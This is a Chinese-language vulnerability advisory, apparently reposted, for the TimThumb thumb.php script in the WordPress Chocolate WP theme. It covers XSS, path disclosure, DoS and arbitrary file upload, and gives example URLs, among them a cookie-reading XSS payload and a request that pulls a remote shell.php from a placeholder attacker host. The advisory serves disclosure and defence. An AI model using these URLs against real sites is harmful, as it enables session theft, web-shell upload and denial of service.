受影响系统：
WordPress Chocolate WP Theme
描述：
WordPress Chocolate WP是WP的商业主题。
Chocolate WP Theme for WordPress在实现上存在跨站脚本、路径泄露、滥用功能、拒绝服务和任意文件上传 漏洞 ，攻击者可利用这些漏洞进行拒绝服务攻击、上传任意文件到受影响计算机、执行任意脚本代码等。细节请见：
XSS (WASC-08) (in older versions of TimThumb):
http://site/wp-content/themes/dt-chocolate/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg
Full path disclosure (WASC-13):
Abuse of Functionality (WASC-42):
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com&h=1&w=1
(bypass of restriction on domain, if such restriction is turned on)
DoS (WASC-10):
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/big_file&h=1&w=1
(bypass of restriction on domain, if such restriction is turned on)
About such Abuse of Functionality and Denial of Service vulnerabilities you
can read in my article Using of the sites for attacks on other sites
(http://lists.grok.org.uk/pipermail/full-disclosure/2010-June/075384. html ).
Arbitrary File Upload (WASC-31):
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/shell.php
Full path disclosure (WASC-13):
http://site/wp-content/themes/dt-chocolate/
<*来源：Eugene Dokukin
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
To exploit these issues, an attacker must entice an unsuspecting user to follow a malicious URI.
The following example URIs are available:
http://www.2cto.com /wp-content/themes/dt-chocolate/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg
http://www.example.com/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/shell.php
建议：
厂商补丁：
WordPress
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://wordpress.org/
查看更多关于WordPress Chocolate WP Theme多个安全漏洞 - 网站安全的详细内容...